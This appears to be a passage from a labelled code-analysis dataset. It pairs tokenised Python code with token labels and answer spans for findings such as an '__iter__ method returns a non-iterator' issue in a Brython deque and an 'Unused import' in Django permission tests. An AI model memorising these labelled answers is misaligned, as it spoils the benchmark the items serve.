"\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "command", " ", "usi", "ng", " ", "last", " ", "base", " ", "vol_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "To", "Min", "cpi", "k_", "=_", "in", "File_", "._", "get", "Las", "t", "Base", "vol_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "Min", "cpi", "k_", "=_", "create", "Base", "Name_", "(_", "in", "File_", "._", "tmp", "Dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "remove", "Base", "And", "Extension_", "(_", "input", "To", "Min", "cpi", "k_", ")_", "+_", "\"\\u", "QC", "\\u", "image", ".", "png", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "[_", "\"", "min", "cpi", "k", "\"_", ",_", "\"-", "clobber", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"-", "scale", "\"_", ",_", "scal", "ing", "Factor_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"-", "trip", "lan", "ar", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Inp", "ut", "File_", "(_", "input", "To", "Min", "cpi", "k_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Output", "File_", "(_", "output", "Min", "cpi", "k_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "min", "cpi", "k_", "=_", "Cmd", "Stage_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "min", "cpi", "k_", "._", "set", "Log", "File_", "(_", "Log", "File_", "(_", "log", "Fro", "m", "File_", "(_", "in", "File_", "._", "log", "Dir_", ",_", "output", "Min", "cpi", "k_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p_", "._", "add", "Stage_", "(_", "min", "cpi", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "individual", "Images_", "._", "append_", "(_", "output", "Min", "cpi", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "we", " ", "shou", "ld", " ", "add", " ", "a", " ", "label", " ", "to", " ", "each", " ", "of", " ", "the", " ", "individual", " ", "images_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "it", " ", "will", " ", "be", " ", "easi", "er", " ", "for", " ", "the", " ", "user", " ", "to", " ", "identify", " ", "what_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "whi", "ch", " ", "images", " ", "potenti", "ally", " ", "fail_", "\\u\\u\\uNL\\u\\u\\u_", "output", "Convert", "_", "=_", "create", "Base", "Name_", "(_", "in", "File_", "._", "tmp", "Dir_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "remove", "Base", "And", "Extension_", "(_", "input", "To", "Min", "cpi", "k_", ")_", "+_", "\"\\u", "QC", "\\u", "image", "\\u", "label", "ed", ".", "png", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd", "Convert", "_", "=_", "[_", "\"", "convert", "\"_", ",_", "\"-", "label", "\"_", ",_", "in", "File_", "._", "basename_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Inp", "ut", "File_", "(_", "output", "Min", "cpi", "k_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Output", "File_", "(_", "output", "Convert", "_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "convert", "Add", "Label_", "=_", "Cmd", "Stage_", "(_", "cmd", "Convert", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "convert", "Add", "Label_", "._", "set", "Log", "File_", "(_", "Log", "File_", "(_", "log", "Fro", "m", "File_", "(_", "in", "File_", "._", "log", "Dir_", ",_", "output", "Convert", "_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p_", "._", "add", "Stage_", "(_", "convert", "Add", "Label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "individual", "Image", "s", "Label", "ed_", "._", "append_", "(_", "output", "Convert", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "mont", "age", "Output", " ", "is", " ", "specified", ",", " ", "create", " ", "the", " ", "over", "view", " ", "image_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "create", "Mont", "age_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cmd", "mont", "age_", "=_", "[_", "\"", "mont", "age", "\"_", ",_", "\"-", "geom", "etry", "\"_", ",_", "\"+", "2", "+", "2", "\"_", "]_", "+_", "map_", "(_", "Inp", "ut", "File_", ",_", "self_", "._", "individual", "Image", "s", "Label", "ed_", ")_", "+_", "[_", "Output", "File_", "(_", "mont", "age", "Out", "Put", "_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mont", "age_", "=_", "Cmd", "Stage_", "(_", "cmd", "mont", "age_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mont", "age_", "._", "set", "Log", "File_", "(_", "splitext_", "(_", "mont", "age", "Out", "Put", "_", ")_", "[_", "0_", "]_", "+_", "\".", "log", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "to", "\\u", "print_", "=_", "\"\\\\", "n", "*", " ", "*", " ", "*", " ", "*", " ", "*", " ", "*", " ", "*\\\\", "n", "Ple", "ase", " ", "consider", " ", "the", " ", "follow", "ing", " ", "verification", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "to", "\\u", "print_", "+=_", "\"", "image", ",", " ", "whi", "ch", " ", "show", "s", " ", "a", " ", "slice", " ", "through", " ", "all", " ", "input", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "to", "\\u", "print_", "+=_", "\"", "files", " ", "%", "s", ".", " ", "\"_", "%_", "self_", "._", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "to", "\\u", "print_", "+=_", "\"\\\\", "n", "%", "s", "\\\\", "n", "\"_", "%_", "(_", "mont", "age", "Out", "Put", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "message", "\\u", "to", "\\u", "print_", "+=_", "\"*", " ", "*", " ", "*", " ", "*", " ", "*", " ", "*", " ", "*\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "hook", " ", "need", "s", " ", "a", " ", "return", ".", " ", "Give", "n", " ", "tha", "t", " ", "\"", "print", "\"", " ", "doe", "s", " ", "not", " ", "return_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "anyt", "hing", ",", " ", "we", " ", "need", " ", "to", " ", "encapsulat", "e", " ", "the", " ", "print", " ", "statem", "ent", " ", "in", " ", "a", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "function", " ", "(", "whi", "ch", " ", "in", " ", "this", " ", "case", " ", "will", " ", "return", " ", "Non", "e", ",", " ", "but", " ", "tha", "t", "'", "s", " ", "fine", ")_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "print", "Messag", "e", "For", "Mont", "age_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "message", "\\u", "to", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mont", "age_", "._", "finish", "ed", "\\u", "hooks_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "lambda_", ":_", "print", "Messag", "e", "For", "Mont", "age_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "p_", "._", "add", "Stage_", "(_", "mont", "age_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__iter__` method returns a non-iterator
amrdraz/kodr/app/brython/www/src/Lib/_collections.py
[ { "content": " def __iter__(self):\n return deque_iterator(self, self._iter_impl)", "metadata": "root.deque.__iter__", "header": "['class', 'deque', ':', '___EOS___']", "index": 220 }, { "content": "class deque_iterator(object):\n\n\n", "metadata": "root.deque_iterator", "header": "['module', '___EOS___']", "index": 373 }, { "content": " def __iter__(self):\n return self", "metadata": "root.deque_iterator.__iter__", "header": "['class', 'deque_iterator', '(', 'object', ')', ':', '___EOS___']", "index": 388 } ]
[ { "span": "class deque_iterator(object):", "start_line": 373, "start_column": 0, "end_line": 373, "end_column": 29 } ]
[ { "span": "def __iter__(self):", "start_line": 220, "start_column": 4, "end_line": 220, "end_column": 23 }, { "span": "def __iter__(self):", "start_line": 388, "start_column": 4, "end_line": 388, "end_column": 23 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "iter\\u\\u_", "`_", "method_", "returns_", "a_", "non", "_", "-_", "iterator_", "[SEP]_", "class_", "deque_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "deq", "ue", "\\u", "iterator_", "(_", "self_", ",_", "self_", "._", "\\u", "iter", "\\u", "impl_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "deq", "ue", "\\u", "iterator_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "deq", "ue", "\\u", "iterator_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2 ]
Unused import
RamezIssac/django-tabular-permissions/tests/test_tabular_permissions/tests.py
[ { "content": "from __future__ import unicode_literals\nimport datetime\nfrom django import test\nfrom django.contrib.admin.tests import AdminSeleniumWebDriverTestCase\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import Permission\nfrom django.core.urlresolvers import reverse\nfrom django.utils.encoding import force_text\n\nUser = get_user_model()\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TabularPermissionsLiveTest(AdminSeleniumWebDriverTestCase):\n available_apps = ['tabular_permissions'] + AdminSeleniumWebDriverTestCase.available_apps\n\n\n\n\n\n\n\n", "metadata": "root.TabularPermissionsLiveTest", "header": "['module', '___EOS___']", "index": 12 }, { "content": " def setUp(self):\n User.objects.create(pk=1000,\n username='super', first_name='Super', last_name='User', email='[email protected]',\n password='sha1$995a3$6011485ea3834267d719b4c801409b8b1ddd0158', is_active=True,\n is_superuser=True,\n is_staff=True, last_login=datetime.datetime(2007, 5, 30, 13, 20, 10),\n date_joined=datetime.datetime(2007, 5, 30, 13, 20, 10)\n )", "metadata": "root.TabularPermissionsLiveTest.setUp", "header": "['class', 'TabularPermissionsLiveTest', '(', 'AdminSeleniumWebDriverTestCase', ')', ':', '___EOS___']", "index": 15 }, { "content": " def goto_user_change(self):\n self.admin_login(username='super', password='secret')\n self.selenium.get('%s%s' % (self.live_server_url,\n reverse('admin:auth_user_change', args=(1000,))))", "metadata": "root.TabularPermissionsLiveTest.goto_user_change", "header": "['class', 'TabularPermissionsLiveTest', '(', 'AdminSeleniumWebDriverTestCase', ')', ':', '___EOS___']", "index": 24 }, { "content": " def test_select_all_boxes(self):\n \"\"\"\n Ensure that the select-all check boxed behave as expected.\n \"\"\"\n self.admin_login(username='super', password='secret')\n self.selenium.get('%s%s' % (self.live_server_url,\n reverse('admin:auth_user_change', args=(1000,))))\n test_classes = (\n ('perm_add_select_all', '.checkbox.add'),\n ('perm_delete_select_all', '.checkbox.delete'),\n ('perm_change_select_all', '.checkbox.change')\n )\n for elem_id, css_class in test_classes:\n add_select_all = self.selenium.find_element_by_id(\n elem_id)\n add_select_all.click()\n\n add_checkboxes = self.selenium.find_elements_by_css_selector(css_class)\n for e in add_checkboxes:\n self.assertEqual(e.get_attribute('checked'), 'true')", "metadata": "root.TabularPermissionsLiveTest.test_select_all_boxes", "header": "['class', 'TabularPermissionsLiveTest', '(', 'AdminSeleniumWebDriverTestCase', ')', ':', '___EOS___']", "index": 29 }, { "content": " def test_initial_widget_is_hidden(self):\n \"\"\"\n Case No extra permissions, FilteredSelectMultiple Should be hidden\n as it contains no Values\n \"\"\"\n self.admin_login(username='super', password='secret')\n self.selenium.get('%s%s' % (self.live_server_url,\n reverse('admin:auth_user_change', args=(1000,))))\n original_widget = self.selenium.find_element_by_css_selector('[name=user_permissions]')\n self.assertFalse(original_widget.is_displayed())", "metadata": "root.TabularPermissionsLiveTest.test_initial_widget_is_hidden", "header": "['class', 'TabularPermissionsLiveTest', '(', 'AdminSeleniumWebDriverTestCase', ')', ':', '___EOS___']", "index": 50 }, { "content": " def test_initial_widget_is_visible_on_extra_permissions(self):\n \"\"\"\n Case of extra permissions, FilteredSelectMultiple Should be visible\n to handle assignment.\n \"\"\"\n Permission.objects.create(codename='custom_perm', content_type_id=1)\n self.goto_user_change()\n original_widget = self.selenium.find_element_by_css_selector('[name=user_permissions]')\n self.assertTrue(original_widget.is_displayed())", "metadata": "root.TabularPermissionsLiveTest.test_initial_widget_is_visible_on_extra_permissions", "header": "['class', 'TabularPermissionsLiveTest', '(', 'AdminSeleniumWebDriverTestCase', ')', ':', '___EOS___']", "index": 61 }, { "content": " def test_save_table_permissions(self):\n \"\"\"\n Test that checked permissions from the widget are saved, and they are the only permissions\n for that user.\n \"\"\"\n\n self.goto_user_change()\n add_select_all = self.selenium.find_element_by_id('perm_add_select_all')\n add_checkboxes = self.selenium.find_elements_by_css_selector('.checkbox.add:not(.select-all)')\n user_perms = []\n for e in add_checkboxes:\n user_perms.append(e.get_attribute('data-perm-id'))\n # self.assertEqual(e.get_attribute('checked'), 'true')\n reminder_user_perms = list(user_perms)\n add_select_all.click()\n save = self.selenium.find_element_by_css_selector('[name=_continue]')\n save.click()\n self.wait_page_loaded()\n user = User.objects.get(pk=1000)\n user_saved_permissions = user.user_permissions.values_list('id', flat=True)\n user_saved_permissions = [force_text(x) for x in user_saved_permissions]\n for perm in user_perms:\n try:\n user_saved_permissions.remove(perm)\n reminder_user_perms.remove(perm)\n except:\n raise AssertionError\n self.assertEqual(len(user_saved_permissions), 0)\n self.assertEqual(len(reminder_user_perms), 0)", "metadata": "root.TabularPermissionsLiveTest.test_save_table_permissions", "header": "['class', 'TabularPermissionsLiveTest', '(', 'AdminSeleniumWebDriverTestCase', ')', ':', '___EOS___']", "index": 71 }, { "content": " def test_visible_on_group_admin(self):\n \"\"\"\n Test tabular_permissions visible on GroupAdmin with right data-input-name\n \"\"\"\n self.admin_login(username='super', password='secret')\n self.selenium.get('%s%s' % (self.live_server_url,\n reverse('admin:auth_group_add')))\n table = self.selenium.find_element_by_css_selector('#tabular_permissions')\n self.assertEqual(table.get_attribute('data-input-name'), 'permissions')", "metadata": "root.TabularPermissionsLiveTest.test_visible_on_group_admin", "header": "['class', 'TabularPermissionsLiveTest', '(', 'AdminSeleniumWebDriverTestCase', ')', ':', '___EOS___']", "index": 101 }, { "content": " def test_select_all_row(self):\n \"\"\"\n Test Select All Row behaves as expected\n \"\"\"\n self.goto_user_change()\n first_row_checkbox = self.selenium.find_elements_by_css_selector('.select-all.select-row')[0]\n first_row_checkbox.click()\n model_name = first_row_checkbox.get_attribute('data-model-name')\n related_checkboxes = self.selenium.find_elements_by_css_selector('.checkbox.%s' % model_name)\n for c in related_checkboxes:\n self.assertTrue(c.get_attribute('checked'))", "metadata": "root.TabularPermissionsLiveTest.test_select_all_row", "header": "['class', 'TabularPermissionsLiveTest', '(', 'AdminSeleniumWebDriverTestCase', ')', ':', '___EOS___']", "index": 111 } ]
[ { "span": "from django import test", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 23 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "import_", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "admin_", "._", "tests_", "import_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "import_", "get", "\\u", "user", "\\u", "model_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "auth_", "._", "models_", "import_", "Permission_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "core_", "._", "urlresolvers_", "import_", "reverse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "utils_", "._", "encoding_", "import_", "force", "\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "User_", "=_", "get", "\\u", "user", "\\u", "model_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Tab", "ular", "Permi", "ssion", "s", "Live", "Test_", "(_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "avail", "able", "\\u", "apps_", "=_", "[_", "'", "tabular", "\\u", "permissi", "ons", "'_", "]_", "+_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", "._", "avail", "able", "\\u", "apps_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Tab", "ular", "Permi", "ssion", "s", "Live", "Test_", "(_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "User_", "._", "objects_", "._", "create_", "(_", "pk_", "=_", "1000_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "username_", "=_", "'", "super", "'_", ",_", "first", "\\u", "name_", "=_", "'", "Super", "'_", ",_", "last", "\\u", "name_", "=_", "'", "User", "'_", ",_", "email_", "=_", "'", "super", "@", "example", ".", "com", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "password_", "=_", "'", "sha1", "$", "995", "a3", "$", "601", "148", "5e", "a3", "834", "267", "d7", "1", "9", "b4", "c8", "014", "09", "b8", "b1", "ddd", "015", "8", "'_", ",_", "is", "\\u", "active_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "\\u", "superuser_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "\\u", "staff_", "=_", "True_", ",_", "last", "\\u", "login_", "=_", "datetime_", "._", "datetime_", "(_", "2007_", ",_", "5_", ",_", "30_", ",_", "13_", ",_", "20_", ",_", "10_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "date", "\\u", "joined_", "=_", "datetime_", "._", "datetime_", "(_", "2007_", ",_", "5_", ",_", "30_", ",_", "13_", ",_", "20_", ",_", "10_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tab", "ular", "Permi", "ssion", "s", "Live", "Test_", "(_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "got", "o", "\\u", "user", "\\u", "change_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "admin", "\\u", "login_", "(_", "username_", "=_", "'", "super", "'_", ",_", "password_", "=_", "'", "secret", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "selenium_", "._", "get_", "(_", "'%", "s", "%", "s", "'_", "%_", "(_", "self_", "._", "live", "\\u", "server", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "'", "admin", ":", "auth", "\\u", "user", "\\u", "change", "'_", ",_", "args_", "=_", "(_", "1000_", ",_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tab", "ular", "Permi", "ssion", "s", "Live", "Test_", "(_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "all", "\\u", "boxes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Ensur", "e", " ", "tha", "t", " ", "the", " ", "select", "-", "all", " ", "check", " ", "box", "ed", " ", "behave", " ", "as", " ", "expected", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "admin", "\\u", "login_", "(_", "username_", "=_", "'", "super", "'_", ",_", "password_", "=_", "'", "secret", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "selenium_", "._", "get_", "(_", "'%", "s", "%", "s", "'_", "%_", "(_", "self_", "._", "live", "\\u", "server", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reverse_", "(_", "'", "admin", ":", "auth", "\\u", "user", "\\u", "change", "'_", ",_", "args_", "=_", "(_", "1000_", ",_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "classes_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "perm", "\\u", "add", "\\u", "select", "\\u", "all", "'_", ",_", "'.", "checkb", "ox", ".", "add", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "perm", "\\u", "delete", "\\u", "select", "\\u", "all", "'_", ",_", "'.", "checkb", "ox", ".", "delete", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "perm", "\\u", "change", "\\u", "select", "\\u", "all", "'_", ",_", "'.", "checkb", "ox", ".", "change", "'_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "elem", "\\u", "id_", ",_", "css", "\\u", "class_", "in_", "test\\u", "classes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "add", "\\u", "select", "\\u", "all_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "\\u", "by", "\\u", "id_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "elem", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "\\u", "select", "\\u", "all_", "._", "click_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "add", "\\u", "checkb", "oxe", "s_", "=_", "self_", "._", "selenium_", "._", "find", "\\u", "element", "s", "\\u", "by", "\\u", "css", "\\u", "selector_", "(_", "css", "\\u", "class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "e_", "in_", "add", "\\u", "checkb", "oxe", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "e_", "._", "get", "\\u", "attribute_", "(_", "'", "checke", "d", "'_", ")_", ",_", "'", "true", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tab", "ular", "Permi", "ssion", "s", "Live", "Test_", "(_", "Admi", "n", "Selen", "ium", "Web", "Drive", "r", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "initial", "\\u", "widget", "\\u", "is", "\\u", "hidden_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Case", " ", "No", " ", "extra", " ", "permissi", "ons", ",", " ", "Filter", "ed", "Select", "Multipl", "e", " ", "Sho", "ul", "d", " ", "be", " ", "hidden", "\\", 